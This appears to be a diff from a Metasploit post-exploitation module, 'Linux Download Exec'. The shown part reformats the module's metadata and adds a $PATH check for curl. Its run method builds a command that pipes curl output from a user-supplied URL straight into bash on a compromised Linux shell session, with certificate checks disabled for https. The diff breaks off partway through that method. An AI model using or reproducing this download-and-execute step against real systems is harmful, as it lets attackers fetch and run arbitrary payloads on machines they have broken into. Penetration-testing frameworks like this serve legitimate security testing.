@@ -21,26 +21,48 @@ class Metasploit3 < Msf::Post
21
21
22
22
def initialize ( info = { } )
23
23
super ( update_info ( info ,
24
- 'Name' => 'Linux Download Exec' ,
25
- 'Description' => %q{
26
- This module downloads and runs a file with bash. It uses curl and bash from the PATH.
27
- } ,
28
- 'License' => MSF_LICENSE ,
29
- 'Author' =>
30
- [
31
- 'Joshua D. Abraham <jabra[at]praetorian.com>' ,
32
- ] ,
33
- 'Platform' => [ 'linux' ] ,
34
- 'SessionTypes' => [ 'shell' ]
35
- ) )
36
- register_options (
37
- [
38
- OptString . new ( 'URL' , [ true , 'Full URL of file to download.' ] )
39
- ] , self . class )
24
+ 'Name' => 'Linux Download Exec' ,
25
+ 'Description' => %q{
26
+ This module downloads and runs a file with bash. It uses curl and bash from the PATH.
27
+ } ,
28
+ 'License' => MSF_LICENSE ,
29
+ 'Author' =>
30
+ [
31
+ 'Joshua D. Abraham <jabra[at]praetorian.com>' ,
32
+ ] ,
33
+ 'Platform' => [ 'linux' ] ,
34
+ 'SessionTypes' => [ 'shell' ]
35
+ ) )
36
+
37
+ register_options (
38
+ [
39
+ OptString . new ( 'URL' , [ true , 'Full URL of file to download.' ] )
40
+ ] , self . class )
40
41
41
42
end
42
43
44
+ def exists_exe? ( exe )
45
+ path = expand_path ( "$PATH" )
46
+ if path . nil? or path . empty?
47
+ return false
48
+ end
49
+
50
+ path . split ( ":" ) . each { |p |
51
+ return true if file_exist? ( p + "/" + exe )
52
+ }
53
+
54
+ return false
55
+ end
56
+
43
57
def run
58
+ print_status ( "Checking if curl exists in the path..." )
59
+ if exists_exe? ( "curl" )
60
+ print_good ( "curl available, going ahead..." )
61
+ else
62
+ print_warning ( "curl not available on the $PATH, aborting..." )
63
+ return
64
+ end
65
+
44
66
if datastore [ 'URL' ] . match ( /https/ )
45
67
cmd_exec_vprint ( "`which curl` -k #{ datastore [ 'URL' ] } 2>/dev/null | `which bash` " )
46
68
else
0 commit comments